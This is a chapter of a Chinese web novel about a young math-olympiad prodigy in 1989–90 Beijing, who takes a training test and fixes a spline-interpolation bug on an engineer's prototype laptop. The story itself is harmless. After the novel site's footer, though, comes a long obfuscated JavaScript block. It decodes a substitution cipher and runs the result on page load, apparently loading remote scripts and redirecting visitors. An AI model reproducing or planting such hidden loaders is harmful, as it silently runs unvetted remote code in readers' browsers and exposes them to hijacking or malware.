第一百零八章 世界的大门
第108章世界的大门
这一次的题目是彭老师出的。
他在考试开始前说了一段话:「这次测评的三道题,没有一道是IMO题库里的。每一道都是我根据你们这几个月在集训队里讨论过丶碰撞过丶卡住过的问题,重新设计的。你们不是在答标准答案,你们是在和我对话。」
试卷发下来。
第一道是代数,关于群作用下的不变量的一个不等式,条件给得很开放,留了好几条可能的证明路径。
第二道是组合几何,涉及一个动态点集的划分问题,题乾的最后有一行括号里的字:「(提示:可以考虑提升维度。)」
陆沉看到那行字的时候,手指在桌上轻轻叩了一下。
彭老师把他三维凸包构造的思想,变成了一道竞赛题。
第三道是数论,关于二次域中一个特殊序列的分布问题,题干末尾标注了「本题受周尧同学数论笔记启发」。
陆沉看到周尧那两个字的时候,手里的笔停了一瞬。
然后他低下头,开始写。
四个小时后交卷。
陆沉三道题全写完了,第二题他用了三维提升的方法,步骤比标准解法缩短了将近一半。
写完之后他在证明末尾加了一行附注:「此方法可推广至任意有限点集的k维剖分问题。」
这是他留给彭老师的对话。
交卷的时候,他看到陈志远的试卷上第二题也用了三维提升。
陈志远的字还是那么用力,三维凸包的示意图画得方方正正,像一个微缩的建筑模型。
走出活动室的时候,四月的阳光从走廊的窗户照进来,暖洋洋地铺在地面上。
窗外的槐树已经长出了满树的新叶,嫩绿色的,在风里轻轻摇晃。
操场上有人在踢球,喊叫声和足球砸在泥地上的闷响交替传来。
陆沉站在窗边,看见何巍正蹲在操场边的台阶上,手里拿着那叠草稿纸。
他现在不是在想那个框架,是在把那个框架写成一篇完整的论文。
测评一结束,他就蹲到操场边上继续写。
王雪松从后面走过来,手里端着一个搪瓷缸子,缸子里泡着茶。
他在陆沉旁边站定,也看着操场上何巍的背影。
「他那个框架如果能发表,会是组合数学一个挺重要的进展。」王雪松说。
「会的。」陆沉说。
王雪松喝了一口茶。
「你那个三维凸包构造,彭老师把它出成题了。」
「看到了。」
「被出成题,说明这个方法是可推广丶可教学的,它从一个陆沉想到的技巧,变成了一种可以被学会的方法。」王雪松把搪瓷缸子放在窗台上,「后者比前者重要得多,技巧只有一个人会,方法是所有人都会。」
陆沉看着王雪松。
这个上海少年说话的方式永远带着一种工程师式的精确。
他把重要和更重要分得清清楚楚,把一个人和所有人的权重算得明明白白。
但正是这种精确,让他的称赞有了重量。
「你那道题做了多久?」王雪松问。
「一小时多一点。」
「我用了两个小时。三维提升那一步我想偏了,一开始往球面投影的方向走了,绕了一大圈才发现平面提升到柱面就够了。
19
王雪松摇了摇头,「不过绕的那一圈也不白绕,球面投影的思路在处理球面点集的时候应该能用上。」
他端着搪瓷缸子往阅览室走去,走了几步又回头。
「你那个方法推广到k维的附注我看到了,等我写完球面投影的笔记,跟你交换。」
晚自习的时候,陆沉把第三次测评的三道题从头复盘了一遍。
第二题的三维提升已经验证过了,他重点看了第一题和第三题。
第一题的代数不等式,他用的是特徵标正交关系的路子,写完之后他忽然想到,何巍那个群表示论的框架里有一个引理,正好可以用来给这道题一个更简洁的证明。
他把何巍框架中那个引理的核心结构画在便签本上,然后把它嫁接到的第一题上一推导步骤从原来的七步缩减到了四步。
第三题,周尧的数论笔记。
题干里那个二次域特殊序列的分布问题,本质上是对周尧那个图论方法的一个应用变体。
彭老师把周尧的思路从二次剩余推广到了更一般的代数整数环里的素理想分解,然后用一个具体序列的分布问题来考察这种推广。
陆沉在做这道题的时候,用到的核心构造正是周尧笔记本第一页那个把数论问题转化为图论问题的思想,只是图的结构从原来的奇偶圈变成了更复杂的有向多重图。
他把这道题的证明重新整理了一遍,在证明开头加了一行字:「本题的核心构造源于周尧《数论杂记》第一页的方法。以下证明是该方法在二次域上的一个自然推广。」
然后他把这份整理好的证明装进信封,寄往四川那个小县城。
信寄出去的那天是五月三号。
距离IMO还有两个多月。
五月的BJ,槐花开了。
集训队驻地院子里那几棵老槐树,一夜之间挂满了白中带绿的花串,香气从窗户缝里钻进来,把阅览室里的油墨味和草稿纸味都压下去几分。
顾小北每天早上洗漱的时候都要在槐树底下站一会儿,仰着头深吸几口气,然后说一句「今天又能多做一道题」。
陈志远说她这是把槐花当汽油使,顾小北没反驳。
传达室的信件还在增加。
方宜民已经放弃了用橡皮筋分捆,从食堂借了一个装白菜的竹筐,信件来了就往里扔,谁的信谁自己翻。
竹筐放在活动室门口,每天早晚各被翻两次,翻信的声音哗啦哗啦的,像秋天扫落叶。
林枫突然来信,他在信里说他爸托人从深圳带回来一样东西,一个巴掌大的黑色方块,上面有个小屏幕,叫电子词典。
能查英文单词,他第一次用的时候查了algorithm这个词,机器告诉他意思是算法,他站在那儿愣了半分钟,不是说机器有多聪明,是觉得,这个时代真的来了。
他还说长春的机房换了一批新机器,显示器从绿光的换成了一种叫VGA的东西,能显示十六种颜色,他用十六种颜色画了一个排序过程的动态图,机房老师站在他身后看了十分钟,然后问他能不能把这个程序留下来当教学演示。
陆沉把信放进口袋里。
他想起林枫在莫斯科算法模块结束以后说的那句话—「我回去就把三千页习题刷完。」
当时他以为那是一句豪言壮语。
现在他知道那不是豪言壮语,那是一份已经执行了将近半年的计划书。
五月第二周,集训队来了一位不速之客。
那天下午队员们正在活动室里做彭老师发的组合题,方宜民推门进来,身后跟着一个穿灰色西装的中年男人。
中年男人的西装料子很好,但在五月的BJ已经显得有些厚了,领口微微洇着汗渍。
他手里提着一个黑色的皮质公文包,包上印着一行银色的小字一中国计算机发展公司。
「这位是邹工,中关村的。」方宜民介绍得很简短,但中关村三个字让活动室里一半以上的人抬起了头。
1989年的中关村还不是后来的中国矽谷,但电子一条街的名声已经传开了一长城丶
联想丶四通,这些名字都是从那条街上的灰砖楼里长出来的。
邹工把公文包放在讲台上,打开,从里面拿出一样东西。
不是文件,是一台笔记本电脑。
黑色的,大概一本《辞海》缩印本那么大,屏幕合着,外壳上有一个红绿蓝三色组成的标志。
他把屏幕掀开,按了一下侧面的一个按钮,机器发出一声轻微的蜂鸣,屏幕上亮起了一片蓝色的光。
活动室里的空气凝固了大概三秒钟。
1990年,一台真正的笔记本电脑,能掀开屏幕就能用的那种。
集训队里大多数人只在《计算机世界》杂志上见过照片。
邹工把机器转过来面朝大家,屏幕上是一个DOS命令行,光标一闪一闪的。
「这是我们公司跟香港合作开发的一款可携式微机。」
邹工的声音带着一点南方口音,「80286的晶片,1兆内存,20兆硬碟,国内目前还没有批量上市,这是工程样机。」
他从公文包里又掏出一张软盘,三寸半的,黑色塑料壳,贴着一张手写的标签数学函数库·测试版。
他把软盘插进机器侧面的驱动器里,软盘推进去的时候发出咔嗒一声脆响。
屏幕上的光标闪了几下,然后跳出一行字:「MathLibv0.1—中国计算机发展公司。」
「这个数学函数库是我们公司正在开发的产品,主要是给国内的科研单位和大学用的。」
邹工敲了几个命令,屏幕上列出了一长串函数名一三角函数丶指数对数丶矩阵运算丶数值积分。「目前核心算法部分基本完成了,但有一个模块一直没达到预期的精度。」
他打开了一个名为SPLINE.TST的文件,屏幕上显示出一组数据和对应的曲线拟合结果。
「三次样条插值模块,在边界条件比较复杂的情况下,误差会放大,我们调试了两个月没找到问题出在哪里。」
邹工转过身看着活动室里的队员们。
「公司离这儿不远,骑车二十分钟,我们李总听说集训队有一群数学底子扎实的年轻人,让我带着机器过来,看有没有人愿意帮忙看看。不是白干,按项目外包算报酬。」
活动室里响起一阵低低的议论声。
报酬的事大家没太在意,真正让人兴奋的是那台机器。
一台能掀开盖子就能用的笔记本电脑,一张三寸半的软盘,一个实实在在的丶正在开发中的软体产品。
不是课本上的例题,不是竞赛卷上的试题,是出了这间屋子就要被千千万万人用的东西。
陆沉看着屏幕上那行SPLINE.TST的数据。
三次样条插值,数值分析里的经典内容。
边界条件复杂时误差放大,这个问题他前世见过。
通常不是插值算法本身的问题,是边界导数的估计方法在特定数据分布下会产生病态C
标准做法是用自由边界或者固定边界的样条,但实际工程数据往往既不满足自由边界也不满足固定边界,硬套标准方法就会在边界附近出现振荡。
他站起来,走到讲台前面。
邹工让开键盘的位置。
陆沉调出样条模块的原始码,屏幕上的C语言代码一行一行地滚动。
他看代码的速度让邹工的眉毛微微扬了一下。
不是浏览,是在追踪数据流和边界处理的逻辑链条。
看到边界导数估计那一段的时候他停下来。
「问题在这里。」他指着屏幕上一段代码,「边界导数的估计用的是三点差分公式,这个公式假设边界附近的数据是光滑的,如果实际数据在边界处有突变或者曲率很大,三点差分的截断误差会急剧上升。」
邹工凑近屏幕看了一会儿。
「我们试过用五点差分,精度没改善多少。
「不是差分点数的问题。」
陆沉把代码往下翻了几页,找到边界条件判断的那一段,「是边界条件的分类不够细。标准样条只分三种边界—固定边界丶自由边界丶周期边界。
但实际工程数据的边界形态远不止这三种。
你们这个模块在处理非标准边界时,会自动归到最近的标准类型里,然后硬套标准公式,这才是误差的根源。」
他在键盘上敲了几行,在边界条件判断模块里加了一个新的分支—非标准边界预处理。
思路很简单:在进入样条求解之前,先用一个低阶多项式对边界附近的几个点做局部拟合,用拟合曲线的端点导数代替原来的差分估计。
这样做相当于在边界处加了一个缓冲区,让边界条件从非标准平滑过渡到标准类型能处理的范畴。
邹工看着陆沉加的代码,沉默了好一会儿。
他搞了十几年软体,一眼就能看出一个改动的本质。
陆沉加的那几行代码,从语法上看平平无奇,但从数值计算的角度看,是把一个开放性问题转化为了一个可求解的问题!
「我回去让测试组跑一遍。」
邹工把修改后的代码保存到软盘里,拔出软盘的时候他看了看那张黑色的小方块,又看了看陆沉,「小伙子,你几岁了?」
「十一。」
邹工把软盘装进公文包,拉上拉链。
「我儿子十六岁,连BASIC都还没学明白。」
他摇了摇头,然后从公文包侧袋里掏出一张名片递给陆沉,「上面有我电话,以后要是想了解计算机方面的事,直接找我。」
名片上印着中国计算机发展公司软体部邹世明,地址是HD区中关村路某某号。
陆沉把名片收进便签本里,和索科洛夫那张并排放着。
两张名片,一张白底黑字俄文英文,一张浅灰色底烫金中文。
两个世界,同一个方向。
邹工走的时候在门口停了一下,回头看着活动室里的队员们。
「你们这些孩子,可能不知道自己在做什么,你们觉得只是在解题,在竞赛,在拿奖牌,但实际上——」
他拍了拍公文包里的软盘,「你们已经在参与这个国家正在发生的事了。十年以后你们回头看今天,就会明白我的意思。」
门关上了。
活动室里安静了几秒,然后被一阵兴奋的议论声淹没。
陈志远第一个冲上去摸那台笔记本电脑—邹工忘了带走,或者说故意留下让队员们多玩一会儿的。
机器还开着,屏幕上DOS提示符一闪一闪。
陈志远小心翼翼地敲了一个DIR命令,硬碟里的文件目录哗哗地滚上来,每一个文件名都让他眼睛发亮。
顾小北在旁边看着,忽然冒出一句:「你们说,邹工说的十年以后——十年以后我们在干什么?」
没有人能回答这个问题。
十年以后是2000年,二十一世纪的开端。
对于这群十几岁的少年来说,十年是一个长得几乎无法想像的时间跨度。
但那个黑色的小方块就摆在桌上,三寸半的软盘还插在驱动器里,屏幕上绿莹莹的光映在每个人的脸上。
十年以后是什么样的,没人知道。
但他们此刻正把手放在通往那个不知道的门把手上。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();